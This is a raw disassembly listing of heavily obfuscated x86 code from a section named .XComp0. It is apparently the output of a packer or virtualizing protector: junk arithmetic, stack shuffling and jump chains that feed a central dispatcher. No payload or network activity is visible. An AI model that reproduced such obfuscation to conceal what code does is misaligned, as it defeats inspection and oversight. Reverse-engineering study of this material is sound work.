		push	esi
		jmp	loc_5757DB
; ---------------------------------------------------------------------------


loc_577E91:				; CODE XREF: .XComp0:0057E30Aj
		xor	edx, ebx
		jmp	loc_5766F4
; ---------------------------------------------------------------------------


loc_577E98:				; CODE XREF: .XComp0:00578DA2j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		jmp	loc_57993E
; ---------------------------------------------------------------------------


loc_577EBC:				; CODE XREF: .XComp0:00579025j
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_577EC1:				; CODE XREF: .XComp0:00582089j
		pop	ebx
		jmp	loc_57AFE2
; ---------------------------------------------------------------------------


loc_577EC7:				; CODE XREF: .XComp0:0058049Fj
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_577ECC:				; CODE XREF: .XComp0:0057AE56j
		or	ebp, edi
		pop	edi
		jmp	loc_5786A0
; ---------------------------------------------------------------------------


loc_577ED4:				; CODE XREF: .XComp0:00579FAFj
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_577EE2:				; CODE XREF: .XComp0:0057A48Dj
		add	esi, 4
		sub	esi, 4
		jmp	loc_57FD2E
; ---------------------------------------------------------------------------


loc_577EF3:				; CODE XREF: .XComp0:0057FBADj
		or	esi, 1F9816D0h
		neg	esi
		shr	esi, 7
		xor	esi, 18944DE6h
		not	esi
		add	esi, 2EA6DD4Dh
		sub	ebx, 1EF55B9Ah
		sub	ebx, esi
		jmp	loc_57E332
; ---------------------------------------------------------------------------
		lodsb
		add	al, 80h
		push	4E71h
		mov	[esp], ecx
		mov	ch, 0DDh
		sub	esp, 2
		mov	[esp], ax
		push	ecx
		mov	cl, 0BEh
		push	ebx
		mov	bl, cl
		mov	ah, bl
		pop	ebx
		jmp	loc_581EB7
; ---------------------------------------------------------------------------


loc_577F3B:				; CODE XREF: .XComp0:0058317Fj
		pop	edi
		jmp	loc_57DF14
; ---------------------------------------------------------------------------


loc_577F41:				; CODE XREF: .XComp0:0057FFCBj
		add	eax, edx
		pop	edx
		add	eax, ebp
		sub	eax, 4744607Eh
		jmp	loc_57A27E
; ---------------------------------------------------------------------------


loc_577F50:				; CODE XREF: .XComp0:0057AE4Bj
		push	esi
		jmp	loc_5808FC
; ---------------------------------------------------------------------------


loc_577F56:				; CODE XREF: .XComp0:00580D69j
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	edx
		push	ebx
		push	ecx
		mov	ecx, 5AA81CA8h
		mov	ebx, 553431h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	edx
		pop	ebx
		pop	edx
		not	edx
		push	ebx
		push	edx
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, 8A9BB94Fh
		mov	edx, ebx
		pop	ebx
		xor	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_578ED0
; ---------------------------------------------------------------------------


loc_577FA6:				; CODE XREF: .XComp0:0057959Aj
		pop	ebp
		sub	esp, 4
		jmp	loc_579697
; ---------------------------------------------------------------------------


loc_577FAF:				; CODE XREF: .XComp0:0057D9C6j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	3523h
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_580282
; ---------------------------------------------------------------------------


loc_577FD5:				; CODE XREF: .XComp0:00575AABj
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		push	edi
		push	1356A50h
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_57E7C4
; ---------------------------------------------------------------------------


loc_577FF3:				; CODE XREF: .XComp0:0057D17Aj
		add	edi, 64A8314Fh
		add	edi, ecx
		sub	edi, 64A8314Fh
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edx
		push	4
		pop	edx
		add	edi, 4CD6569Dh
		add	edi, edx
		jmp	loc_57500E
; ---------------------------------------------------------------------------


loc_57801C:				; CODE XREF: .XComp0:0057FF2Cj
		pop	edx
		add	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	edx, 2
		xor	edx, [esp]
		jmp	loc_58009A
; ---------------------------------------------------------------------------


loc_578037:				; CODE XREF: .XComp0:00577071j
		not	ebp
		xchg	ebp, edi
		neg	edi
		jmp	loc_57E1A5
; ---------------------------------------------------------------------------


loc_578042:				; CODE XREF: .XComp0:0057C903j
		pop	ebp
		sub	esp, 4
		jmp	loc_577630
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 3A11h
		jmp	loc_582224
; ---------------------------------------------------------------------------


loc_578058:				; CODE XREF: .XComp0:00576789j
		shr	ebp, 4
		sub	ebp, 0A0055369h
		sub	eax, ebp
		pop	ebp
		pop	edi
		pop	ecx
		push	esi
		push	786639A1h
		pop	esi
		add	ebx, esi
		pop	esi
		push	eax
		mov	eax, 2EA9622Dh
		add	ebx, eax
		pop	eax
		sub	ebx, 733E5912h
		add	ebx, eax
		add	ebx, 733E5912h
		push	123Eh
		mov	[esp], edx
		mov	edx, 0E0A360Dh
		push	ebx
		mov	ebx, 7032150h
		jmp	loc_57DD36
; ---------------------------------------------------------------------------


loc_57809F:				; CODE XREF: .XComp0:0057C0ABj
		push	edi
		jmp	loc_574893
; ---------------------------------------------------------------------------


loc_5780A5:				; CODE XREF: .XComp0:0057762Bj
		mov	esi, 419C4AB5h
		xor	edi, esi
		pop	esi
		sub	eax, edi
		mov	edi, [esp]
		jmp	loc_57EB73
; ---------------------------------------------------------------------------


loc_5780B7:				; CODE XREF: .XComp0:00574A43j
		add	edi, 4
		push	2EFFh
		mov	[esp], esi
		push	4
		jmp	loc_574300
; ---------------------------------------------------------------------------


loc_5780CF:				; CODE XREF: .XComp0:00575F3Bj
		sub	edx, 165567BCh
		pop	edi
		add	edx, ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 5BC33666h
		sub	edx, ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_574CF5
; ---------------------------------------------------------------------------


loc_578101:				; CODE XREF: .XComp0:00582134j
		mov	[esp], edx
		mov	dl, 24h
		push	ebx
		mov	bh, 77h
		or	dl, bh
		pop	ebx
		jmp	loc_579E7A
; ---------------------------------------------------------------------------


loc_578111:				; CODE XREF: .XComp0:0057683Dj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_57A496
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1Ch
		push	ecx
		jmp	loc_57985D
; ---------------------------------------------------------------------------


loc_57815D:				; CODE XREF: .XComp0:00577032j
		add	eax, 6AB20312h
		sub	eax, 5A5F3D4Ah
		jmp	loc_579808
; ---------------------------------------------------------------------------


loc_57816C:				; CODE XREF: .XComp0:00580447j
		mov	edx, 210730ECh
		jmp	loc_57D29E
; ---------------------------------------------------------------------------


loc_578176:				; CODE XREF: .XComp0:00575584j
		mov	[esp], esi
		jmp	loc_57D599
; ---------------------------------------------------------------------------


loc_57817E:				; CODE XREF: .XComp0:0057F99Aj
		pop	esp
		jmp	loc_57E52B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		push	6D09h
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		pop	ebx
		jmp	loc_575B8A
; ---------------------------------------------------------------------------


loc_5781A2:				; CODE XREF: .XComp0:0057F91Bj
		sub	ebx, 7A9E445Eh
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_580489
; ---------------------------------------------------------------------------


loc_5781C0:				; CODE XREF: .XComp0:0057A1C9j
		xor	eax, [esp]
		pop	esp
		push	ebx
		jmp	loc_57B4C5
; ---------------------------------------------------------------------------


loc_5781CA:				; CODE XREF: .XComp0:0057D8E9j
		mov	eax, 4B5272F8h
		dec	eax
		jmp	loc_57B5F3
; ---------------------------------------------------------------------------


loc_5781D5:				; CODE XREF: .XComp0:0057EED5j
		add	esp, 4
		sub	esi, 68AC14B1h
		push	eax
		mov	eax, 0B16879F9h
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_5815E3
; ---------------------------------------------------------------------------


loc_5781EE:				; CODE XREF: .XComp0:0057900Fj
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5781F3:				; CODE XREF: .XComp0:00573C00j
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_578201:				; CODE XREF: .XComp0:005800B5j
		push	ebx
		jmp	loc_57F6C8
; ---------------------------------------------------------------------------


loc_578207:				; CODE XREF: .XComp0:00582946j
		push	edi
		mov	edi, 97BE2B77h
		add	ebx, edi
		pop	edi
		push	ebx
		jmp	loc_576075
; ---------------------------------------------------------------------------


loc_578216:				; CODE XREF: .XComp0:00576346j
		jmp	loc_573541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57821B:				; CODE XREF: sub_5A47B5-2AB47j
		pop	cx
		inc	bl
		jmp	loc_5822A1
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_578224:				; CODE XREF: .XComp0:00582B58j
		and	ebp, 37CA3E75h
		jmp	loc_578562
; ---------------------------------------------------------------------------


loc_57822F:				; CODE XREF: .XComp0:00581677j
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_580303
; ---------------------------------------------------------------------------


loc_578245:				; CODE XREF: .XComp0:0057B401j
		mov	edi, esp
		jmp	loc_57D004
; ---------------------------------------------------------------------------


loc_57824C:				; CODE XREF: .XComp0:00581B26j
		push	eax
		jmp	loc_57BFDC
; ---------------------------------------------------------------------------


loc_578252:				; CODE XREF: .XComp0:00579F62j
		push	6880h
		mov	[esp], esi
		push	2AB5h
		mov	[esp], eax
		mov	eax, 439F66FBh
		push	edi
		mov	edi, 189458BEh
		jmp	loc_57C7DF
; ---------------------------------------------------------------------------


loc_578272:				; CODE XREF: .XComp0:00580078j
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ebx, [esp]
		jmp	loc_582E50
; ---------------------------------------------------------------------------


loc_578282:				; CODE XREF: .XComp0:00576EE8j
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shl	eax, 1
		shr	eax, 7
		xor	eax, 242C47h
		add	edx, eax
		pop	eax
		jmp	loc_57BE44
; ---------------------------------------------------------------------------


loc_5782AA:				; CODE XREF: .XComp0:00580D7Aj
		add	ecx, 57591663h
		or	ecx, 23A5799Ah
		and	ecx, 521C7462h
		xor	ecx, 24FA5529h
		or	ecx, 148920ACh
		push	257Bh
		mov	[esp], ebp
		mov	ebp, 709C3333h
		xor	ecx, ebp
		pop	ebp
		push	edi
		mov	edi, 46731698h
		xor	ecx, edi
		mov	edi, [esp]
		push	edx
		jmp	loc_5794AC
; ---------------------------------------------------------------------------


loc_5782E9:				; CODE XREF: .XComp0:0057E5EAj
		pop	eax
		xor	ecx, 62F90442h
		sub	ebx, 1842879h
		jmp	loc_576F3F
; ---------------------------------------------------------------------------


loc_5782FB:				; CODE XREF: .XComp0:00577021j
		push	ecx
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_578302:				; CODE XREF: .XComp0:0057C6A5j
		sub	eax, esi
		jmp	loc_581356
; ---------------------------------------------------------------------------


loc_578309:				; CODE XREF: .XComp0:0057EEAAj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_573B54
; ---------------------------------------------------------------------------


loc_578317:				; CODE XREF: .XComp0:00578CA0j
		sub	al, dh
		jmp	loc_57F06D
; ---------------------------------------------------------------------------


loc_57831E:				; CODE XREF: .XComp0:0057DEFCj
		neg	ebp
		push	ebx
		push	edi
		push	eax
		mov	eax, 1424125Ch
		mov	edi, eax
		pop	eax
		mov	ebx, 2EEA166Dh
		sub	ebx, edi
		pop	edi
		push	edx
		mov	edx, 58C83303h
		jmp	loc_575D18
; ---------------------------------------------------------------------------


loc_57833E:				; CODE XREF: .XComp0:00577009j
		mov	edi, 5FE42E1Bh
		push	eax
		mov	eax, 4DC07CF0h
		neg	eax
		and	eax, 31543EEBh
		push	ebp
		mov	ebp, 0
		jmp	loc_57FA1E
; ---------------------------------------------------------------------------


loc_57835B:				; CODE XREF: .XComp0:005743AFj
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_57B970
; ---------------------------------------------------------------------------


loc_578367:				; CODE XREF: .XComp0:0057E792j
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		push	4BFCh
		mov	[esp], ecx
		mov	ecx, 5DE93F93h
		inc	ecx
		shr	ecx, 1
		jmp	loc_5762F0
; ---------------------------------------------------------------------------


loc_578386:				; CODE XREF: .XComp0:0057A49Ej
		mov	eax, [esp]
		push	edx
		jmp	loc_57628E
; ---------------------------------------------------------------------------


loc_57838F:				; CODE XREF: .XComp0:0057E7B2j
		mov	ebp, edx
		pop	edx
		and	ebp, 42A730B0h
		dec	ebp
		push	eax
		mov	eax, 0
		add	eax, 0D9328DBh
		jmp	loc_578C1E
; ---------------------------------------------------------------------------


loc_5783A9:				; CODE XREF: .XComp0:0057D3B5j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		push	13E8h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5753A5
; ---------------------------------------------------------------------------


loc_5783DA:				; CODE XREF: .XComp0:005758CEj
		push	74DDh
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5814E5
; ---------------------------------------------------------------------------


loc_5783F1:				; CODE XREF: .XComp0:0057C131j
		mov	[esp], edi
		push	4222h
		mov	[esp], eax
		push	edx
		push	ebp
		mov	ebp, 26D30617h
		mov	edx, 1CEE55CBh
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, 0BD29F070h
		add	eax, edx
		pop	edx
		jmp	loc_575933
; ---------------------------------------------------------------------------


loc_578420:				; CODE XREF: .XComp0:0057D908j
		mov	ebx, 0CD11C4Eh
		sub	edi, ebx
		jmp	loc_57FFDE
; ---------------------------------------------------------------------------


loc_57842C:				; CODE XREF: .XComp0:0057B2C5j
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 4
		sub	ecx, 7F354C6Bh
		add	ecx, ebp
		add	ecx, 7F354C6Bh
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_578462:				; CODE XREF: .XComp0:0057DAE8j
		add	eax, 2
		xchg	eax, [esp]
		pop	esp
		xchg	cx, di
		jmp	loc_582A86
; ---------------------------------------------------------------------------


loc_578471:				; CODE XREF: .XComp0:00573D89j
		sub	ch, 16h
		and	dl, ch
		mov	ecx, [esp]
		jmp	loc_578BFE
; ---------------------------------------------------------------------------


loc_57847E:				; CODE XREF: .XComp0:005735ACj
		mov	edx, [esp]
		jmp	loc_57482D
; ---------------------------------------------------------------------------


loc_578486:				; CODE XREF: .XComp0:0057E1B1j
		add	ebp, eax
		pop	eax
		jmp	loc_57A7FB
; ---------------------------------------------------------------------------


loc_57848E:				; CODE XREF: .XComp0:0057DD4Cj
		xchg	edi, edx
		push	ebx
		push	eax
		jmp	loc_57B447
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_57E7CF
; ---------------------------------------------------------------------------


loc_5784A6:				; CODE XREF: .XComp0:00579D8Ej
		pop	ebp
		jmp	loc_57C23A
; ---------------------------------------------------------------------------


loc_5784AC:				; CODE XREF: .XComp0:00576678j
		mov	edx, 73CE3203h
		add	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		sub	dword ptr [esp], 6ED6586Ch
		jmp	loc_575D55
; ---------------------------------------------------------------------------


loc_5784C9:				; CODE XREF: .XComp0:0057BCE6j
		sub	al, 1Fh
		jmp	loc_57939A
; ---------------------------------------------------------------------------


loc_5784D0:				; CODE XREF: .XComp0:005785BCj
		xchg	ebp, [esp]
		jmp	loc_57B30B
; ---------------------------------------------------------------------------


loc_5784D8:				; CODE XREF: .XComp0:00580967j
		add	ecx, 4
		jmp	loc_575AF6
; ---------------------------------------------------------------------------


loc_5784E3:				; CODE XREF: .XComp0:00578D1Cj
		pop	edx
		shl	esi, 2
		jmp	loc_5785C1
; ---------------------------------------------------------------------------


loc_5784EC:				; CODE XREF: .XComp0:00578C58j
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5784F1:				; CODE XREF: .XComp0:00578CEEj
		push	esi
		jmp	loc_57B6A7
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5784FF:				; CODE XREF: .XComp0:0057F4C7j
		pop	esp
		sub	esp, 4
		jmp	loc_57D713
; ---------------------------------------------------------------------------


loc_57850B:				; CODE XREF: .XComp0:00574105j
		pop	eax
		sub	ebp, 4D45DFDCh
		mov	eax, ebp
		mov	ebp, [esp]
		jmp	loc_57C0F1
; ---------------------------------------------------------------------------


loc_57851C:				; CODE XREF: .XComp0:00581F09j
		add	edi, 49B17233h
		inc	edi
		add	edi, 391229CCh
		add	[esp+4], edi
		jmp	loc_57FF13
; ---------------------------------------------------------------------------


loc_578532:				; CODE XREF: .XComp0:00576DB2j
		add	ch, 0CBh
		jmp	loc_57F2EA
; ---------------------------------------------------------------------------


loc_57853A:				; CODE XREF: .XComp0:0057B1E1j
		pop	edi
		add	eax, 544939CAh
		sub	eax, edx
		jmp	loc_57F783
; ---------------------------------------------------------------------------


loc_578547:				; CODE XREF: .XComp0:005803E5j
		push	eax
		push	edx
		jmp	loc_57766D
; ---------------------------------------------------------------------------


loc_57854E:				; CODE XREF: .XComp0:0057A932j
		mov	esi, 38E40A98h
		add	esi, ecx
		mov	ecx, [esp]
		jmp	loc_57FBAA
; ---------------------------------------------------------------------------


loc_57855D:				; CODE XREF: .XComp0:0057E28Aj
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_578562:				; CODE XREF: .XComp0:0057822Aj
		push	edi
		mov	edi, 17EE41D4h
		xor	ebp, edi
		pop	edi
		or	ecx, ebp
		pop	ebp
		and	ecx, 63721F5Ch
		sub	ecx, 6EE66E77h
		dec	ecx
		push	esi
		mov	esi, 3EC2E5Ch
		jmp	loc_5757B1
; ---------------------------------------------------------------------------


loc_578586:				; CODE XREF: .XComp0:005755B8j
		xchg	edx, [esp]
		jmp	loc_57A0F1
; ---------------------------------------------------------------------------


loc_57858E:				; CODE XREF: .XComp0:00574217j
		sub	dh, 0CCh
		sub	ah, dh
		pop	edx
		xor	cl, ah
		mov	eax, [esp]
		jmp	loc_57CDB3
; ---------------------------------------------------------------------------


loc_57859E:				; CODE XREF: .XComp0:0058220Dj
		add	ebp, 5E304FA4h
		add	ebp, 35BA671Ah
		add	ebp, edi
		sub	ebp, 35BA671Ah
		sub	ebp, 5E304FA4h
		pop	edi
		sub	ebp, 2
		jmp	loc_5784D0
; ---------------------------------------------------------------------------


loc_5785C1:				; CODE XREF: .XComp0:005784E7j
		shr	esi, 3
		push	eax
		jmp	loc_57719A
; ---------------------------------------------------------------------------


loc_5785CA:				; CODE XREF: .XComp0:00582092j
		mov	esp, [esp]
		sub	eax, 4E4A6ED2h
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		push	3C8E3C14h
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 115A6058h
		sub	esi, 351404FFh
		add	esi, 73FA8B4h
		push	esi
		pop	ebp
		mov	esi, [esp]
		jmp	loc_58255B
; ---------------------------------------------------------------------------


loc_57860B:				; CODE XREF: .XComp0:00574D9Cj
		mov	cl, bl
		pop	ebx
		xor	cl, dh
		pop	edx
		shl	cl, 6
		push	8A0h
		mov	[esp], edx
		mov	dh, 0
		jmp	loc_57FABF
; ---------------------------------------------------------------------------


loc_578623:				; CODE XREF: .XComp0:005754DAj
		push	edi
		mov	edi, 4EDC0C0Ch
		neg	edi
		push	eax
		mov	eax, 5AB20C0Ch
		jmp	loc_57F5D9
; ---------------------------------------------------------------------------


loc_578636:				; CODE XREF: .XComp0:00582F5Cj
		xor	eax, ebp
		pop	ebp
		add	ebx, eax
		pop	eax
		add	ebx, eax
		jmp	loc_578C5D
; ---------------------------------------------------------------------------


loc_578643:				; CODE XREF: .XComp0:0057F4FEj
		push	esi
		pop	ebp
		pop	esi
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		mov	eax, [esp]
		jmp	loc_579BB9
; ---------------------------------------------------------------------------


loc_578657:				; CODE XREF: .XComp0:0057B726j
		pop	esp
		push	50A1h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ecx
		push	0EBA27D1h
		mov	ecx, [esp]
		push	16E5h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_57EBA6
; ---------------------------------------------------------------------------


loc_578686:				; CODE XREF: .XComp0:005761E5j
		sub	esi, 704D5E38h
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_578D95
; ---------------------------------------------------------------------------


loc_578697:				; CODE XREF: .XComp0:00576EC2j
		xor	ebx, [esp]
		pop	esp
		jmp	loc_58135C
; ---------------------------------------------------------------------------


loc_5786A0:				; CODE XREF: .XComp0:00577ECFj
		xor	ebp, 0D901E4ADh
		jmp	loc_5764BF
; ---------------------------------------------------------------------------


loc_5786AB:				; CODE XREF: .XComp0:0057384Bj
		sub	al, cl
		mov	cx, [esp]
		add	esp, 2
		push	edx
		mov	dl, 0E2h
		add	al, dl
		jmp	loc_576B08
; ---------------------------------------------------------------------------


loc_5786BE:				; CODE XREF: .XComp0:00582988j
		sub	ch, al
		jmp	loc_57F7B0
; ---------------------------------------------------------------------------


loc_5786C5:				; CODE XREF: .XComp0:0057F0B6j
		sub	ebx, 0C596087Ch
		sub	esi, ebx
		jmp	loc_57A6E1
; ---------------------------------------------------------------------------


loc_5786D2:				; CODE XREF: .XComp0:00582DD5j
		mov	[esp], ecx
		push	esi
		jmp	loc_578822
; ---------------------------------------------------------------------------


loc_5786DB:				; CODE XREF: .XComp0:0057D7B7j
		pop	ebx
		shr	ebx, 2
		neg	ebx
		sub	ebx, 68C406B3h
		mov	ebp, ebx
		jmp	loc_57F367
; ---------------------------------------------------------------------------


loc_5786EE:				; CODE XREF: .XComp0:0057880Fj
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5786F3:				; CODE XREF: .XComp0:0057B848j
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 2
		jmp	loc_57B72B
; ---------------------------------------------------------------------------


loc_578704:				; CODE XREF: .XComp0:0057B126j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		xor	esi, [esp]
		jmp	loc_580FD8
; ---------------------------------------------------------------------------


loc_578725:				; CODE XREF: .XComp0:0058221Fj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	al, cl
		pop	cx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_575FE6
; ---------------------------------------------------------------------------


loc_578747:				; CODE XREF: .XComp0:005775A6j
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_57FD68
; ---------------------------------------------------------------------------


loc_578754:				; CODE XREF: .XComp0:0057EACAj
		add	ecx, 774109h
		jmp	loc_573650
; ---------------------------------------------------------------------------


loc_57875F:				; CODE XREF: .XComp0:005789DAj
		add	eax, 68843714h
		add	eax, ebx
		jmp	loc_57ADD7
; ---------------------------------------------------------------------------


loc_57876B:				; CODE XREF: .XComp0:00581F38j
		dec	ebp
		jmp	loc_57E9C9
; ---------------------------------------------------------------------------


loc_578771:				; CODE XREF: .XComp0:005759DBj
		add	cl, 0FEh
		dec	cl
		shr	cl, 2
		push	eax
		mov	ah, cl
		neg	ah
		mov	cl, ah
		pop	eax
		push	edx
		mov	dl, 32h
		inc	dl
		sub	dl, 3
		xor	cl, dl
		pop	edx
		mov	bl, cl
		pop	ecx
		add	al, bl
		mov	bx, [esp]
		add	esp, 2
		xor	bl, al
		push	2181h
		jmp	loc_57AE1D
; ---------------------------------------------------------------------------


loc_5787A7:				; CODE XREF: .XComp0:0057C8D3j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_573A1E
; ---------------------------------------------------------------------------


loc_5787B3:				; CODE XREF: .XComp0:005778A8j
		pop	ecx
		add	esp, 4
		jmp	loc_575558
; ---------------------------------------------------------------------------


loc_5787BC:				; CODE XREF: .XComp0:00575CB7j
		add	esi, 2F8B3DBCh
		jmp	loc_57EB1A
; ---------------------------------------------------------------------------


loc_5787C7:				; CODE XREF: .XComp0:00576946j
		pop	esp
		sub	esp, 4
		jmp	loc_57EEDA
; ---------------------------------------------------------------------------


loc_5787D0:				; CODE XREF: .XComp0:0057F73Cj
		xor	ax, di
		jmp	loc_57C49C
; ---------------------------------------------------------------------------


loc_5787D8:				; CODE XREF: .XComp0:00582202j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_581062
; ---------------------------------------------------------------------------


loc_5787E6:				; CODE XREF: .XComp0:00575A95j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_57AD33
; ---------------------------------------------------------------------------


loc_5787F2:				; CODE XREF: .XComp0:0057F97Cj
		pop	ebx
		push	edx
		push	ecx
		mov	ecx, 3EF328F1h
		sub	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57F1D0
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_5786EE
; ---------------------------------------------------------------------------


loc_578814:				; CODE XREF: .XComp0:0057AFDDj
		or	ebx, 45A60FAh
		not	ebx
		dec	ebx
		jmp	loc_57F3A9
; ---------------------------------------------------------------------------


loc_578822:				; CODE XREF: .XComp0:005786D6j
		push	398Ch
		jmp	loc_58199C
; ---------------------------------------------------------------------------


loc_57882C:				; CODE XREF: .XComp0:005737AEj
		pop	ebx
		xor	bl, al
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57883A:				; CODE XREF: .XComp0:0057F2EDj
		push	4816h
		mov	[esp], edx
		jmp	loc_5820FC
; ---------------------------------------------------------------------------


loc_578847:				; CODE XREF: .XComp0:00577895j
		pop	edi
		add	eax, 61D6351h
		neg	eax
		shl	eax, 7
		sub	eax, 0A14D4F7Ch
		add	esi, eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_57D821
; ---------------------------------------------------------------------------


loc_57887D:				; CODE XREF: .XComp0:0057AF61j
		add	cl, 0DEh
		sub	cl, 5
		jmp	loc_574F2F
; ---------------------------------------------------------------------------


loc_578888:				; CODE XREF: .XComp0:005748B6j
		add	esi, ebp
		add	esi, 7B862C6Ah
		pop	ebp
		xchg	esi, [esp]
		jmp	loc_5824F6
; ---------------------------------------------------------------------------


loc_578899:				; CODE XREF: .XComp0:0058148Bj
		pop	ebx
		mov	ch, 0CCh
		xor	ch, 0ECh
		shr	ch, 6
		or	ch, 3Dh
		and	ch, 93h
		sub	ch, 0EEh
		add	ch, dl
		mov	edx, [esp]
		push	ebp
		jmp	loc_57E5EF
; ---------------------------------------------------------------------------


loc_5788B6:				; CODE XREF: .XComp0:0057F418j
		push	ebp
		mov	ebp, 5D616641h
		jmp	loc_577D37
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	57AEh
		mov	[esp], eax
		push	esp
		jmp	loc_57CF39
; ---------------------------------------------------------------------------


loc_5788D3:				; CODE XREF: .XComp0:0057A65Fj
		sub	edi, ecx
		add	edi, 1BA1973h
		sub	edi, 3FC40C27h
		pop	ecx
		inc	edi
		jmp	loc_57788D
; ---------------------------------------------------------------------------


loc_5788E8:				; CODE XREF: .XComp0:00575AF1j
		mov	edx, [esp]
		add	esp, 4


loc_5788F1:				; CODE XREF: .XComp0:0057395Cj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		push	ebx
		push	446217D1h
		pop	ebx
		xor	ebx, 5DD91EABh
		mov	edi, ebx
		pop	ebx
		jmp	loc_580B51
; ---------------------------------------------------------------------------


loc_578910:				; CODE XREF: .XComp0:0057653Ej
		inc	dl
		sub	esp, 4
		jmp	loc_57E72C
; ---------------------------------------------------------------------------


